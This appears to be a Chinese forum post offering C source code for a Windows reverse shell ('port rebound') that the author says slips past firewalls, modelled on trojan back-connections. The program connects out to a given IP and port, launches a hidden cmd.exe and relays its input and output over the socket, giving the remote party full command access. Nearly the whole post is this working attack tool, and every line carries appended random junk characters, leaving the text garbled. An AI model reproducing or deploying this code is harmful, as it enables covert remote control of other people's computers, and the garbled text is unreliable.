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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0xx4rp H  
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/* ============================== boI&q>-6Re  
Rebound port in Windows NT hF{gN3v5  
By wind,2006/7 @j!(at4B  
===============================*/ tI@aRF=p]2  
#include UEx13!iFo  
#include BhYvEbt  
#UE}JR3g  
#pragma comment(lib,"wsock32.lib") =;4K5l{c  
U9\\8  
void OutputShell(); twu,yC!  
SOCKET sClient; sv!zY= 6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }SC&6B?G  
`KtP ;nG  
void main(int argc,char **argv) i\_LLXc  
{ tz8 fZ*n  
WSADATA stWsaData; $/lM %yXe  
int nRet; P z~jW):E  
SOCKADDR_IN stSaiClient,stSaiServer; '}9 Nvr)+  
a{ L&RRJ  
if(argc != 3) ",&QO 7_  
{ |gWA'O0S  
printf("Useage:\n\rRebound DestIP DestPort\n"); G pI4QzR  
return; /@|iI<|  
} >|c?ZqW  
Ge/K.]>i  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4Z>gK(  
SswcO9JCX3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ht*(@MCr<  
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stSaiClient.sin_family = AF_INET; uJCp  
stSaiClient.sin_port = htons(0); 6}m`_d?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xVw@pR;  
?_FL 'G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _7\`xU  
{ PDPK|FU  
printf("Bind Socket Failed!\n"); p3Qls*  
return; :A z lls  
} mW4Cc1*  
9DJ&J{2W  
stSaiServer.sin_family = AF_INET; >t.Lc.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z &X l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E& .^|<n  
"D8WdV(  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YTFU# F  
{  {ibu 0  
printf("Connect Error!"); z?<B@\~  
return; F$DA/{.D  
} < #ON  
OutputShell(); :Rb\Ca  
} |,p"<a!+{w  
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void OutputShell() <zR{'7L/  
{ Et!J*{s  
char szBuff[1024]; l>K+4  
SECURITY_ATTRIBUTES stSecurityAttributes; w") G:K  
OSVERSIONINFO stOsversionInfo; `v!. ,Yr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BW7AjtxQ&  
STARTUPINFO stStartupInfo; 0: a2ER|J  
char *szShell; CyR`&u  
PROCESS_INFORMATION stProcessInformation; . 2$J-<O  
unsigned long lBytesRead; {o5|(^l  
]CF-#q}'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); F| eWHw?t  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jcJ 4?  
stSecurityAttributes.lpSecurityDescriptor = 0; &'$Bk5D@G  
stSecurityAttributes.bInheritHandle = TRUE; yf9"Rc~+  
9 Gd6/2  
*sOb I(&  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P !i_?M  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a5pl/d  
?4%H(k5A  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .qSDe+A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3/`BK{  
stStartupInfo.wShowWindow = SW_HIDE; sNDo@u7  
stStartupInfo.hStdInput = hReadPipe; -}%J3j|R:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s{@R|5  
L]H'$~xx*  
GetVersionEx(&stOsversionInfo); Q4m> 3I  
_ l|%~  
switch(stOsversionInfo.dwPlatformId) MvpJ0Y (  
{ D_d>A+  
case 1:  9!jPZn  
szShell = "command.com"; KAClV%jP  
break; ZU`9]7"87B  
default: 4CF;>b f~  
szShell = "cmd.exe"; &`I(QY  
break; G1 "QX  
} 9VxM1-8Gs  
oIE 1j?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &#2&V>pE  
DzGUKJh6  
send(sClient,szMsg,77,0); t,7%| {  
while(1) M M@,J<  
{ X(ph$,[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'Tm1Mh0Fso  
if(lBytesRead) O6hzOyNX@  
{ 0#8   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l1 Kv`v\  
send(sClient,szBuff,lBytesRead,0); z ?\it(  
} F"] P|   
else *DPX4 P  
{ j9NF|  
lBytesRead=recv(sClient,szBuff,1024,0); !kE5]<H\  
if(lBytesRead<=0) break; ~</FF'Xz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]j3>=Jb;  
} ^!1!l-  
} &'z_:Wm  
R])Eg&  
return; 5.6tVr  
}
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